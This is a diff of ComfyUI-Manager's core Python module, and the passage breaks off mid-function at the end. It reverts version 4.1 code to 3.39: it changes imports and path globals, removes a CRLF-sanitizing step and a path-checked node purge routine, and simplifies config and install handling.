@@ -24,6 +23,7 @@ import yaml
|
||||
import zipfile
|
||||
import traceback
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
import toml
|
||||
|
||||
orig_print = print
|
||||
|
||||
@@ -32,25 +32,24 @@ from packaging import version
|
||||
|
||||
import uuid
|
||||
|
||||
from ..common import cm_global
|
||||
from ..common import cnr_utils
|
||||
from ..common import manager_util
|
||||
from ..common import git_utils
|
||||
from ..common import manager_downloader
|
||||
from ..common.node_package import InstalledNodePackage
|
||||
from ..common.enums import NetworkMode, SecurityLevel, DBMode
|
||||
from ..common import context
|
||||
glob_path = os.path.join(os.path.dirname(__file__)) # ComfyUI-Manager/glob
|
||||
sys.path.append(glob_path)
|
||||
|
||||
import cm_global
|
||||
import cnr_utils
|
||||
import manager_util
|
||||
import git_utils
|
||||
import manager_downloader
|
||||
import manager_migration
|
||||
from node_package import InstalledNodePackage
|
||||
|
||||
|
||||
version_code = [4, 1]
|
||||
version_code = [3, 39]
|
||||
version_str = f"V{version_code[0]}.{version_code[1]}" + (f'.{version_code[2]}' if len(version_code) > 2 else '')
|
||||
|
||||
|
||||
DEFAULT_CHANNEL = "https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main"
|
||||
DEFAULT_CHANNEL_LEGACY = "https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main"
|
||||
DEFAULT_CHANNEL = "https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main"
|
||||
|
||||
# SSH git URL pattern (e.g., git@github.com:user/repo.git)
|
||||
SSH_URL_PATTERN = re.compile(r"^(.+@|ssh://).+:.+$")
|
||||
|
||||
default_custom_nodes_path = None
|
||||
|
||||
@@ -60,14 +59,13 @@ class InvalidChannel(Exception):
|
||||
self.channel = channel
|
||||
super().__init__(channel)
|
||||
|
||||
|
||||
def get_default_custom_nodes_path():
|
||||
global default_custom_nodes_path
|
||||
if default_custom_nodes_path is None:
|
||||
try:
|
||||
import folder_paths
|
||||
default_custom_nodes_path = folder_paths.get_folder_paths("custom_nodes")[0]
|
||||
except Exception:
|
||||
except:
|
||||
default_custom_nodes_path = os.path.abspath(os.path.join(manager_util.comfyui_manager_path, '..'))
|
||||
|
||||
return default_custom_nodes_path
|
||||
@@ -77,11 +75,37 @@ def get_custom_nodes_paths():
|
||||
try:
|
||||
import folder_paths
|
||||
return folder_paths.get_folder_paths("custom_nodes")
|
||||
except Exception:
|
||||
except:
|
||||
custom_nodes_path = os.path.abspath(os.path.join(manager_util.comfyui_manager_path, '..'))
|
||||
return [custom_nodes_path]
|
||||
|
||||
|
||||
def get_comfyui_tag():
|
||||
try:
|
||||
repo = git.Repo(comfy_path)
|
||||
return repo.git.describe('--tags')
|
||||
except:
|
||||
return None
|
||||
|
||||
|
||||
def get_current_comfyui_ver():
|
||||
"""
|
||||
Extract version from pyproject.toml
|
||||
"""
|
||||
toml_path = os.path.join(comfy_path, 'pyproject.toml')
|
||||
if not os.path.exists(toml_path):
|
||||
return None
|
||||
else:
|
||||
try:
|
||||
with open(toml_path, "r", encoding="utf-8") as f:
|
||||
data = toml.load(f)
|
||||
|
||||
project = data.get('project', {})
|
||||
return project.get('version')
|
||||
except:
|
||||
return None
|
||||
|
||||
|
||||
def get_script_env():
|
||||
new_env = os.environ.copy()
|
||||
git_exe = get_config().get('git_exe')
|
||||
@@ -89,10 +113,10 @@ def get_script_env():
|
||||
new_env['GIT_EXE_PATH'] = git_exe
|
||||
|
||||
if 'COMFYUI_PATH' not in new_env:
|
||||
new_env['COMFYUI_PATH'] = context.comfy_path
|
||||
new_env['COMFYUI_PATH'] = comfy_path
|
||||
|
||||
if 'COMFYUI_FOLDERS_BASE_PATH' not in new_env:
|
||||
new_env['COMFYUI_FOLDERS_BASE_PATH'] = context.comfy_path
|
||||
new_env['COMFYUI_FOLDERS_BASE_PATH'] = comfy_path
|
||||
|
||||
return new_env
|
||||
|
||||
@@ -114,12 +138,12 @@ def check_invalid_nodes():
|
||||
|
||||
try:
|
||||
import folder_paths
|
||||
except Exception:
|
||||
except:
|
||||
try:
|
||||
sys.path.append(context.comfy_path)
|
||||
sys.path.append(comfy_path)
|
||||
import folder_paths
|
||||
except Exception:
|
||||
raise Exception(f"Invalid COMFYUI_FOLDERS_BASE_PATH: {context.comfy_path}")
|
||||
except:
|
||||
raise Exception(f"Invalid COMFYUI_FOLDERS_BASE_PATH: {comfy_path}")
|
||||
|
||||
def check(root):
|
||||
global invalid_nodes
|
||||
@@ -154,6 +178,76 @@ def check_invalid_nodes():
|
||||
print("\n---------------------------------------------------------------------------\n")
|
||||
|
||||
|
||||
# read env vars
|
||||
comfy_path: str = os.environ.get('COMFYUI_PATH')
|
||||
comfy_base_path = os.environ.get('COMFYUI_FOLDERS_BASE_PATH')
|
||||
|
||||
if comfy_path is None:
|
||||
try:
|
||||
import folder_paths
|
||||
comfy_path = os.path.join(os.path.dirname(folder_paths.__file__))
|
||||
except:
|
||||
comfy_path = os.path.abspath(os.path.join(manager_util.comfyui_manager_path, '..', '..'))
|
||||
|
||||
if comfy_base_path is None:
|
||||
comfy_base_path = comfy_path
|
||||
|
||||
|
||||
channel_list_template_path = os.path.join(manager_util.comfyui_manager_path, 'channels.list.template')
|
||||
git_script_path = os.path.join(manager_util.comfyui_manager_path, "git_helper.py")
|
||||
|
||||
manager_files_path = None
|
||||
manager_config_path = None
|
||||
manager_channel_list_path = None
|
||||
manager_startup_script_path:str = None
|
||||
manager_snapshot_path = None
|
||||
manager_pip_overrides_path = None
|
||||
manager_pip_blacklist_path = None
|
||||
manager_components_path = None
|
||||
|
||||
def update_user_directory(user_dir):
|
||||
global manager_files_path
|
||||
global manager_config_path
|
||||
global manager_channel_list_path
|
||||
global manager_startup_script_path
|
||||
global manager_snapshot_path
|
||||
global manager_pip_overrides_path
|
||||
global manager_pip_blacklist_path
|
||||
global manager_components_path
|
||||
|
||||
manager_files_path = manager_migration.get_manager_path(user_dir)
|
||||
if not os.path.exists(manager_files_path):
|
||||
os.makedirs(manager_files_path)
|
||||
manager_migration.run_migration_checks(user_dir, manager_files_path)
|
||||
|
||||
manager_snapshot_path = os.path.join(manager_files_path, "snapshots")
|
||||
if not os.path.exists(manager_snapshot_path):
|
||||
os.makedirs(manager_snapshot_path)
|
||||
|
||||
manager_startup_script_path = os.path.join(manager_files_path, "startup-scripts")
|
||||
if not os.path.exists(manager_startup_script_path):
|
||||
os.makedirs(manager_startup_script_path)
|
||||
|
||||
manager_config_path = os.path.join(manager_files_path, 'config.ini')
|
||||
manager_channel_list_path = os.path.join(manager_files_path, 'channels.list')
|
||||
manager_pip_overrides_path = os.path.join(manager_files_path, "pip_overrides.json")
|
||||
manager_pip_blacklist_path = os.path.join(manager_files_path, "pip_blacklist.list")
|
||||
manager_components_path = os.path.join(manager_files_path, "components")
|
||||
manager_util.cache_dir = os.path.join(manager_files_path, "cache")
|
||||
|
||||
if not os.path.exists(manager_util.cache_dir):
|
||||
os.makedirs(manager_util.cache_dir)
|
||||
|
||||
try:
|
||||
import folder_paths
|
||||
update_user_directory(folder_paths.get_user_directory())
|
||||
|
||||
except Exception:
|
||||
# fallback:
|
||||
# This case is only possible when running with cm-cli, and in practice, this case is not actually used.
|
||||
update_user_directory(os.path.abspath(manager_util.comfyui_manager_path))
|
||||
|
||||
|
||||
cached_config = None
|
||||
js_path = None
|
||||
|
||||
@@ -164,7 +258,7 @@ comfy_ui_revision = "Unknown"
|
||||
comfy_ui_commit_datetime = datetime(1900, 1, 1, 0, 0, 0)
|
||||
|
||||
channel_dict = None
|
||||
valid_channels = {'default', 'local', DEFAULT_CHANNEL, DEFAULT_CHANNEL_LEGACY}
|
||||
valid_channels = {'default', 'local'}
|
||||
channel_list = None
|
||||
|
||||
|
||||
@@ -529,7 +623,7 @@ class UnifiedManager:
|
||||
ver = str(manager_util.StrictVersion(info['version']))
|
||||
return {'id': cnr['id'], 'cnr': cnr, 'ver': ver}
|
||||
else:
|
||||
return {'id': info['id'], 'ver': info['version']}
|
||||
return None
|
||||
else:
|
||||
return None
|
||||
|
||||
@@ -705,9 +799,7 @@ class UnifiedManager:
|
||||
|
||||
return latest
|
||||
|
||||
async def reload(self, cache_mode, dont_wait=True, update_cnr_map=True):
|
||||
import folder_paths
|
||||
|
||||
async def reload(self, cache_mode, dont_wait=True):
|
||||
self.custom_node_map_cache = {}
|
||||
self.cnr_inactive_nodes = {} # node_id -> node_version -> fullpath
|
||||
self.nightly_inactive_nodes = {} # node_id -> fullpath
|
||||
@@ -715,18 +807,17 @@ class UnifiedManager:
|
||||
self.unknown_active_nodes = {} # node_id -> repo url * fullpath
|
||||
self.active_nodes = {} # node_id -> node_version * fullpath
|
||||
|
||||
if get_config()['network_mode'] != 'public' or manager_util.is_manager_pip_package():
|
||||
if get_config()['network_mode'] != 'public':
|
||||
dont_wait = True
|
||||
|
||||
if update_cnr_map:
|
||||
# reload 'cnr_map' and 'repo_cnr_map'
|
||||
cnrs = await cnr_utils.get_cnr_data(cache_mode=cache_mode=='cache', dont_wait=dont_wait)
|
||||
# reload 'cnr_map' and 'repo_cnr_map'
|
||||
cnrs = await cnr_utils.get_cnr_data(cache_mode=cache_mode=='cache', dont_wait=dont_wait)
|
||||
|
||||
for x in cnrs:
|
||||
self.cnr_map[x['id']] = x
|
||||
if 'repository' in x:
|
||||
normalized_url = git_utils.normalize_url(x['repository'])
|
||||
self.repo_cnr_map[normalized_url] = x
|
||||
for x in cnrs:
|
||||
self.cnr_map[x['id']] = x
|
||||
if 'repository' in x:
|
||||
normalized_url = git_utils.normalize_url(x['repository'])
|
||||
self.repo_cnr_map[normalized_url] = x
|
||||
|
||||
# reload node status info from custom_nodes/*
|
||||
for custom_nodes_path in folder_paths.get_folder_paths('custom_nodes'):
|
||||
@@ -774,7 +865,7 @@ class UnifiedManager:
|
||||
if 'id' in x:
|
||||
if x['id'] not in res:
|
||||
res[x['id']] = (x, True)
|
||||
except Exception:
|
||||
except:
|
||||
logging.error(f"[ComfyUI-Manager] broken item:{x}")
|
||||
|
||||
return res
|
||||
@@ -827,7 +918,7 @@ class UnifiedManager:
|
||||
def safe_version(ver_str):
|
||||
try:
|
||||
return version.parse(ver_str)
|
||||
except Exception:
|
||||
except:
|
||||
return version.parse("0.0.0")
|
||||
|
||||
def execute_install_script(self, url, repo_path, instant_execution=False, lazy_mode=False, no_deps=False):
|
||||
@@ -841,14 +932,15 @@ class UnifiedManager:
|
||||
else:
|
||||
if os.path.exists(requirements_path) and not no_deps:
|
||||
print("Install: pip packages")
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), context.comfy_path, context.manager_files_path)
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, manager_files_path)
|
||||
lines = manager_util.robust_readlines(requirements_path)
|
||||
for line in lines:
|
||||
package_name = remap_pip_package(line.strip())
|
||||
if package_name and not package_name.startswith('#') and package_name not in self.processed_install:
|
||||
self.processed_install.add(package_name)
|
||||
install_cmd = manager_util.make_pip_cmd(["install", package_name])
|
||||
if package_name.strip() != "" and not package_name.startswith('#'):
|
||||
clean_package_name = package_name.split('#')[0].strip()
|
||||
install_cmd = manager_util.make_pip_cmd(["install", clean_package_name])
|
||||
if clean_package_name != "" and not clean_package_name.startswith('#'):
|
||||
res = res and try_install_script(url, repo_path, install_cmd, instant_execution=instant_execution)
|
||||
|
||||
pip_fixer.fix_broken()
|
||||
@@ -862,7 +954,7 @@ class UnifiedManager:
|
||||
return res
|
||||
|
||||
def reserve_cnr_switch(self, target, zip_url, from_path, to_path, no_deps):
|
||||
script_path = os.path.join(context.manager_startup_script_path, "install-scripts.txt")
|
||||
script_path = os.path.join(manager_startup_script_path, "install-scripts.txt")
|
||||
with open(script_path, "a") as file:
|
||||
obj = [target, "#LAZY-CNR-SWITCH-SCRIPT", zip_url, from_path, to_path, no_deps, get_default_custom_nodes_path(), sys.executable]
|
||||
file.write(f"{obj}\n")
|
||||
@@ -1135,71 +1227,6 @@ class UnifiedManager:
|
||||
|
||||
return result
|
||||
|
||||
def purge_node_state(self, node_id: str):
|
||||
"""
|
||||
Remove a node's directory and clean ALL internal dictionaries regardless of categorization.
|
||||
Used by reinstall to guarantee clean state before re-installation.
|
||||
"""
|
||||
if 'comfyui-manager' in node_id.lower():
|
||||
return
|
||||
|
||||
custom_nodes_dir = os.path.normcase(os.path.realpath(get_default_custom_nodes_path()))
|
||||
paths_to_remove = set()
|
||||
|
||||
def _add_path(raw_path):
|
||||
"""Normalize and validate a path before adding to removal set."""
|
||||
if not raw_path:
|
||||
return
|
||||
resolved = os.path.normcase(os.path.realpath(raw_path))
|
||||
if resolved == custom_nodes_dir:
|
||||
logging.warning(f"[ComfyUI-Manager] purge_node_state: refusing to delete custom_nodes root: {raw_path}")
|
||||
return
|
||||
try:
|
||||
if os.path.commonpath([custom_nodes_dir, resolved]) != custom_nodes_dir:
|
||||
logging.warning(f"[ComfyUI-Manager] purge_node_state: path escapes custom_nodes scope, skipping: {raw_path}")
|
||||
return
|
||||
except ValueError:
|
||||
logging.warning(f"[ComfyUI-Manager] purge_node_state: cannot verify containment, skipping: {raw_path}")
|
||||
return
|
||||
paths_to_remove.add(resolved)
|
||||
|
||||
# Collect paths from all dictionaries
|
||||
entry = self.unknown_active_nodes.get(node_id)
|
||||
if entry is not None:
|
||||
_add_path(entry[1])
|
||||
|
||||
entry = self.active_nodes.get(node_id)
|
||||
if entry is not None:
|
||||
_add_path(entry[1])
|
||||
|
||||
entry = self.unknown_inactive_nodes.get(node_id)
|
||||
if entry is not None:
|
||||
_add_path(entry[1])
|
||||
|
||||
fullpath = self.nightly_inactive_nodes.get(node_id)
|
||||
if fullpath is not None:
|
||||
_add_path(fullpath)
|
||||
|
||||
ver_map = self.cnr_inactive_nodes.get(node_id)
|
||||
if ver_map is not None:
|
||||
for key, fp in ver_map.items():
|
||||
_add_path(fp)
|
||||
|
||||
# Convention-based fallback path
|
||||
_add_path(os.path.join(get_default_custom_nodes_path(), node_id))
|
||||
|
||||
# Remove all validated paths, then always clean dictionaries
|
||||
try:
|
||||
for path in paths_to_remove:
|
||||
if os.path.exists(path):
|
||||
try_rmtree(node_id, path)
|
||||
finally:
|
||||
self.unknown_active_nodes.pop(node_id, None)
|
||||
self.active_nodes.pop(node_id, None)
|
||||
self.unknown_inactive_nodes.pop(node_id, None)
|
||||
self.nightly_inactive_nodes.pop(node_id, None)
|
||||
self.cnr_inactive_nodes.pop(node_id, None)
|
||||
|
||||
def unified_uninstall(self, node_id: str, is_unknown: bool):
|
||||
"""
|
||||
Remove whole installed custom nodes including inactive nodes
|
||||
@@ -1333,7 +1360,7 @@ class UnifiedManager:
|
||||
print(f"Download: git clone '{clone_url}'")
|
||||
|
||||
if not instant_execution and platform.system() == 'Windows':
|
||||
res = manager_funcs.run_script([sys.executable, context.git_script_path, "--clone", get_default_custom_nodes_path(), clone_url, repo_path], cwd=get_default_custom_nodes_path())
|
||||
res = manager_funcs.run_script([sys.executable, git_script_path, "--clone", get_default_custom_nodes_path(), clone_url, repo_path], cwd=get_default_custom_nodes_path())
|
||||
if res != 0:
|
||||
return result.fail(f"Failed to clone repo: {clone_url}")
|
||||
else:
|
||||
@@ -1476,18 +1503,8 @@ class UnifiedManager:
|
||||
else: # nightly
|
||||
repo_url = the_node['repository']
|
||||
else:
|
||||
# Fallback for nightly only: use repository URL from CNR map
|
||||
# when node is registered in CNR but absent from nightly manifest
|
||||
if version_spec == 'nightly':
|
||||
cnr_fallback = self.cnr_map.get(node_id)
|
||||
if cnr_fallback is not None and cnr_fallback.get('repository'):
|
||||
repo_url = cnr_fallback['repository']
|
||||
else:
|
||||
result = ManagedResult('install')
|
||||
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
|
||||
else:
|
||||
result = ManagedResult('install')
|
||||
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
|
||||
result = ManagedResult('install')
|
||||
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
|
||||
|
||||
if self.is_enabled(node_id, version_spec):
|
||||
return ManagedResult('skip').with_target(f"{node_id}@{version_spec}")
|
||||
@@ -1496,20 +1513,12 @@ class UnifiedManager:
|
||||
return self.unified_enable(node_id, version_spec)
|
||||
|
||||
elif version_spec == 'unknown' or version_spec == 'nightly':
|
||||
to_path = os.path.abspath(os.path.join(get_default_custom_nodes_path(), node_id))
|
||||
|
||||
if version_spec == 'nightly':
|
||||
# disable cnr nodes
|
||||
if self.is_enabled(node_id, 'cnr'):
|
||||
self.unified_disable(node_id, False)
|
||||
|
||||
# use `repo name` as a dir name instead of `cnr id` if system added nodepack (i.e. publisher is null)
|
||||
cnr = self.cnr_map.get(node_id)
|
||||
|
||||
if cnr is not None and cnr.get('publisher') is None:
|
||||
repo_name = os.path.basename(git_utils.normalize_url(repo_url))
|
||||
to_path = os.path.abspath(os.path.join(get_default_custom_nodes_path(), repo_name))
|
||||
|
||||
to_path = os.path.abspath(os.path.join(get_default_custom_nodes_path(), node_id))
|
||||
res = self.repo_install(repo_url, to_path, instant_execution=instant_execution, no_deps=no_deps, return_postinstall=return_postinstall)
|
||||
if res.result:
|
||||
if version_spec == 'unknown':
|
||||
@@ -1570,7 +1579,7 @@ def identify_node_pack_from_path(fullpath):
|
||||
if github_id is None:
|
||||
try:
|
||||
github_id = os.path.basename(repo_url)
|
||||
except Exception:
|
||||
except:
|
||||
logging.warning(f"[ComfyUI-Manager] unexpected repo url: {repo_url}")
|
||||
github_id = module_name
|
||||
|
||||
@@ -1625,10 +1634,10 @@ def get_channel_dict():
|
||||
if channel_dict is None:
|
||||
channel_dict = {}
|
||||
|
||||
if not os.path.exists(context.manager_channel_list_path):
|
||||
shutil.copy(context.channel_list_template_path, context.manager_channel_list_path)
|
||||
if not os.path.exists(manager_channel_list_path):
|
||||
shutil.copy(channel_list_template_path, manager_channel_list_path)
|
||||
|
||||
with open(context.manager_channel_list_path, 'r') as file:
|
||||
with open(manager_channel_list_path, 'r') as file:
|
||||
channels = file.read()
|
||||
for x in channels.split('\n'):
|
||||
channel_info = x.split("::")
|
||||
@@ -1654,6 +1663,9 @@ class ManagerFuncs:
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def get_current_preview_method(self):
|
||||
return "none"
|
||||
|
||||
def run_script(self, cmd, cwd='.'):
|
||||
if len(cmd) > 0 and cmd[0].startswith("#"):
|
||||
print(f"[ComfyUI-Manager] Unexpected behavior: `{cmd}`")
|
||||
@@ -1671,12 +1683,14 @@ def write_config():
|
||||
config = configparser.ConfigParser(strict=False)
|
||||
|
||||
config['default'] = {
|
||||
'preview_method': manager_funcs.get_current_preview_method(),
|
||||
'git_exe': get_config()['git_exe'],
|
||||
'use_uv': get_config()['use_uv'],
|
||||
'channel_url': get_config()['channel_url'],
|
||||
'share_option': get_config()['share_option'],
|
||||
'bypass_ssl': get_config()['bypass_ssl'],
|
||||
"file_logging": get_config()['file_logging'],
|
||||
'component_policy': get_config()['component_policy'],
|
||||
'update_policy': get_config()['update_policy'],
|
||||
'windows_selector_event_loop_policy': get_config()['windows_selector_event_loop_policy'],
|
||||
'model_download_by_agent': get_config()['model_download_by_agent'],
|
||||
@@ -1687,23 +1701,18 @@ def write_config():
|
||||
'db_mode': get_config()['db_mode'],
|
||||
}
|
||||
|
||||
# Sanitize all string values to prevent CRLF injection attacks
|
||||
for key, value in config['default'].items():
|
||||
if isinstance(value, str):
|
||||
config['default'][key] = value.replace('\r', '').replace('\n', '').replace('\x00', '')
|
||||
|
||||
directory = os.path.dirname(context.manager_config_path)
|
||||
directory = os.path.dirname(manager_config_path)
|
||||
if not os.path.exists(directory):
|
||||
os.makedirs(directory)
|
||||
|
||||
with open(context.manager_config_path, 'w') as configfile:
|
||||
with open(manager_config_path, 'w') as configfile:
|
||||
config.write(configfile)
|
||||
|
||||
|
||||
def read_config():
|
||||
try:
|
||||
config = configparser.ConfigParser(strict=False)
|
||||
config.read(context.manager_config_path)
|
||||
config.read(manager_config_path)
|
||||
default_conf = config['default']
|
||||
|
||||
def get_bool(key, default_value):
|
||||
@@ -1712,47 +1721,57 @@ def read_config():
|
||||
manager_util.use_uv = default_conf['use_uv'].lower() == 'true' if 'use_uv' in default_conf else False
|
||||
manager_util.bypass_ssl = get_bool('bypass_ssl', False)
|
||||
|
||||
return {
|
||||
result = {
|
||||
'http_channel_enabled': get_bool('http_channel_enabled', False),
|
||||
'preview_method': default_conf.get('preview_method', manager_funcs.get_current_preview_method()).lower(),
|
||||
'git_exe': default_conf.get('git_exe', ''),
|
||||
'use_uv': get_bool('use_uv', True),
|
||||
'use_uv': get_bool('use_uv', False),
|
||||
'channel_url': default_conf.get('channel_url', DEFAULT_CHANNEL),
|
||||
'default_cache_as_channel_url': get_bool('default_cache_as_channel_url', False),
|
||||
'share_option': default_conf.get('share_option', 'all').lower(),
|
||||
'bypass_ssl': get_bool('bypass_ssl', False),
|
||||
'file_logging': get_bool('file_logging', True),
|
||||
'component_policy': default_conf.get('component_policy', 'workflow').lower(),
|
||||
'update_policy': default_conf.get('update_policy', 'stable-comfyui').lower(),
|
||||
'windows_selector_event_loop_policy': get_bool('windows_selector_event_loop_policy', False),
|
||||
'model_download_by_agent': get_bool('model_download_by_agent', False),
|
||||
'downgrade_blacklist': default_conf.get('downgrade_blacklist', '').lower(),
|
||||
'always_lazy_install': get_bool('always_lazy_install', False),
|
||||
'network_mode': default_conf.get('network_mode', NetworkMode.PUBLIC.value).lower(),
|
||||
'security_level': default_conf.get('security_level', SecurityLevel.NORMAL.value).lower(),
|
||||
'db_mode': default_conf.get('db_mode', DBMode.CACHE.value).lower(),
|
||||
'network_mode': default_conf.get('network_mode', 'public').lower(),
|
||||
'security_level': default_conf.get('security_level', 'normal').lower(),
|
||||
'db_mode': default_conf.get('db_mode', 'cache').lower(),
|
||||
}
|
||||
manager_migration.force_security_level_if_needed(result)
|
||||
return result
|
||||
|
||||
except Exception:
|
||||
manager_util.use_uv = False
|
||||
import importlib.util
|
||||
# temporary disable `uv` on Windows by default (https://github.com/Comfy-Org/ComfyUI-Manager/issues/1969)
|
||||
manager_util.use_uv = importlib.util.find_spec("uv") is not None and platform.system() != "Windows"
|
||||
manager_util.bypass_ssl = False
|
||||
|
||||
return {
|
||||
result = {
|
||||
'http_channel_enabled': False,
|
||||
'preview_method': manager_funcs.get_current_preview_method(),
|
||||
'git_exe': '',
|
||||
'use_uv': True,
|
||||
'use_uv': manager_util.use_uv,
|
||||
'channel_url': DEFAULT_CHANNEL,
|
||||
'default_cache_as_channel_url': False,
|
||||
'share_option': 'all',
|
||||
'bypass_ssl': manager_util.bypass_ssl,
|
||||
'file_logging': True,
|
||||
'component_policy': 'workflow',
|
||||
'update_policy': 'stable-comfyui',
|
||||
'windows_selector_event_loop_policy': False,
|
||||
'model_download_by_agent': False,
|
||||
'downgrade_blacklist': '',
|
||||
'always_lazy_install': False,
|
||||
'network_mode': NetworkMode.PUBLIC.value,
|
||||
'security_level': SecurityLevel.NORMAL.value,
|
||||
'db_mode': DBMode.CACHE.value,
|
||||
'network_mode': 'public', # public | private | offline
|
||||
'security_level': 'normal', # strong | normal | normal- | weak
|
||||
'db_mode': 'cache', # local | cache | remote
|
||||
}
|
||||
manager_migration.force_security_level_if_needed(result)
|
||||
return result
|
||||
|
||||
|
||||
def get_config():
|
||||
@@ -1795,27 +1814,27 @@ def switch_to_default_branch(repo):
|
||||
default_branch = repo.git.symbolic_ref(f'refs/remotes/{remote_name}/HEAD').replace(f'refs/remotes/{remote_name}/', '')
|
||||
repo.git.checkout(default_branch)
|
||||
return True
|
||||
except Exception:
|
||||
except:
|
||||
# try checkout master
|
||||
# try checkout main if failed
|
||||
try:
|
||||
repo.git.checkout(repo.heads.master)
|
||||
return True
|
||||
except Exception:
|
||||
except:
|
||||
try:
|
||||
if remote_name is not None:
|
||||
repo.git.checkout('-b', 'master', f'{remote_name}/master')
|
||||
return True
|
||||
except Exception:
|
||||
except:
|
||||
try:
|
||||
repo.git.checkout(repo.heads.main)
|
||||
return True
|
||||
except Exception:
|
||||
except:
|
||||
try:
|
||||
if remote_name is not None:
|
||||
repo.git.checkout('-b', 'main', f'{remote_name}/main')
|
||||
return True
|
||||
except Exception:
|
||||
except:
|
||||
pass
|
||||
|
||||
print("[ComfyUI Manager] Failed to switch to the default branch")
|
||||
@@ -1823,44 +1842,21 @@ def switch_to_default_branch(repo):
|
||||
|
||||
|
||||
def reserve_script(repo_path, install_cmds):
|
||||
if not os.path.exists(context.manager_startup_script_path):
|
||||
os.makedirs(context.manager_startup_script_path)
|
||||
if not os.path.exists(manager_startup_script_path):
|
||||
os.makedirs(manager_startup_script_path)
|
||||
|
||||
script_path = os.path.join(context.manager_startup_script_path, "install-scripts.txt")
|
||||
script_path = os.path.join(manager_startup_script_path, "install-scripts.txt")
|
||||
with open(script_path, "a") as file:
|
||||
obj = [repo_path] + install_cmds
|
||||
file.write(f"{obj}\n")
|
||||
|
||||
|
||||
def try_rmtree(title, fullpath):
|
||||
# Tier 1: retry with delay for transient Windows file locks
|
||||
for attempt in range(3):
|
||||
try:
|
||||
shutil.rmtree(fullpath)
|
||||
return
|
||||
except OSError:
|
||||
if attempt < 2:
|
||||
time.sleep(1)
|
||||
|
||||
# Tier 2: rename into .disabled/.trash/ so scanner ignores it
|
||||
trash_dir = os.path.join(os.path.dirname(fullpath), '.disabled', '.trash')
|
||||
os.makedirs(trash_dir, exist_ok=True)
|
||||
trash = os.path.join(trash_dir, os.path.basename(fullpath) + f'_{uuid.uuid4().hex[:8]}')
|
||||
try:
|
||||
os.rename(fullpath, trash)
|
||||
shutil.rmtree(trash, ignore_errors=True)
|
||||
if not os.path.exists(trash):
|
||||
return
|
||||
# Rename succeeded but delete failed — schedule trash path for lazy delete
|
||||
logging.warning(f"[ComfyUI-Manager] Renamed '{fullpath}' to '{trash}' but could not delete; scheduled for restart.")
|
||||
reserve_script(title, ["#LAZY-DELETE-NODEPACK", trash])
|
||||
return
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
# Tier 3: lazy delete on restart (ComfyUI GUI fallback)
|
||||
logging.warning(f"[ComfyUI-Manager] An error occurred while deleting '{fullpath}', so it has been scheduled for deletion upon restart.")
|
||||
reserve_script(title, ["#LAZY-DELETE-NODEPACK", fullpath])
|
||||
shutil.rmtree(fullpath)
|
||||
except Exception as e:
|
||||
logging.warning(f"[ComfyUI-Manager] An error occurred while deleting '{fullpath}', so it has been scheduled for deletion upon restart.\nEXCEPTION: {e}")
|
||||
reserve_script(title, ["#LAZY-DELETE-NODEPACK", fullpath])
|
||||
|
||||
|
||||
def try_install_script(url, repo_path, install_cmd, instant_execution=False):
|
||||
@@ -1889,7 +1885,7 @@ def try_install_script(url, repo_path, install_cmd, instant_execution=False):
|
||||
print(f"[WARN] ComfyUI-Manager: Your ComfyUI version ({comfy_ui_revision})[{comfy_ui_commit_datetime.date()}] is too old. Please update to the latest version.")
|
||||
print("[WARN] The extension installation feature may not work properly in the current installed ComfyUI version on Windows environment.")
|
||||
print("###################################################################\n\n")
|
||||
except Exception:
|
||||
except:
|
||||
pass
|
||||
|
||||
if code != 0:
|
||||
@@ -1904,11 +1900,11 @@ def try_install_script(url, repo_path, install_cmd, instant_execution=False):
|
||||
# use subprocess to avoid file system lock by git (Windows)
|
||||
def __win_check_git_update(path, do_fetch=False, do_update=False):
|
||||
if do_fetch:
|
||||
command = [sys.executable, context.git_script_path, "--fetch", path]
|
||||
command = [sys.executable, git_script_path, "--fetch", path]
|
||||
elif do_update:
|
||||
command = [sys.executable, context.git_script_path, "--pull", path]
|
||||
command = [sys.executable, git_script_path, "--pull", path]
|
||||
else:
|
||||
command = [sys.executable, context.git_script_path, "--check", path]
|
||||
command = [sys.executable, git_script_path, "--check", path]
|
||||
|
||||
new_env = get_script_env()
|
||||
process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=get_default_custom_nodes_path(), env=new_env)
|
||||
@@ -1962,7 +1958,7 @@ def __win_check_git_update(path, do_fetch=False, do_update=False):
|
||||
|
||||
|
||||
def __win_check_git_pull(path):
|
||||
command = [sys.executable, context.git_script_path, "--pull", path]
|
||||
command = [sys.executable, git_script_path, "--pull", path]
|
||||
process = subprocess.Popen(command, env=get_script_env(), cwd=get_default_custom_nodes_path())
|
||||
process.wait()
|
||||
|
||||
@@ -1978,7 +1974,7 @@ def execute_install_script(url, repo_path, lazy_mode=False, instant_execution=Fa
|
||||
else:
|
||||
if os.path.exists(requirements_path) and not no_deps:
|
||||
print("Install: pip packages")
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), context.comfy_path, context.manager_files_path)
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, manager_files_path)
|
||||
with open(requirements_path, "r") as requirements_file:
|
||||
for line in requirements_file:
|
||||
#handle comments
|
||||
@@ -2010,27 +2006,6 @@ def execute_install_script(url, repo_path, lazy_mode=False, instant_execution=Fa
|
||||
return True
|
||||
|
||||
|
||||
def install_manager_requirements(repo_path):
|
||||
"""
|
||||
Install packages from manager_requirements.txt if it exists.
|
||||
This is specifically for ComfyUI's manager_requirements.txt.
|
||||
"""
|
||||
manager_requirements_path = os.path.join(repo_path, "manager_requirements.txt")
|
||||
if not os.path.exists(manager_requirements_path):
|
||||
return
|
||||
|
||||
logging.info("[ComfyUI-Manager] Installing manager_requirements.txt")
|
||||
with open(manager_requirements_path, "r") as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if line and not line.startswith('#'):
|
||||
if '#' in line:
|
||||
line = line.split('#')[0].strip()
|
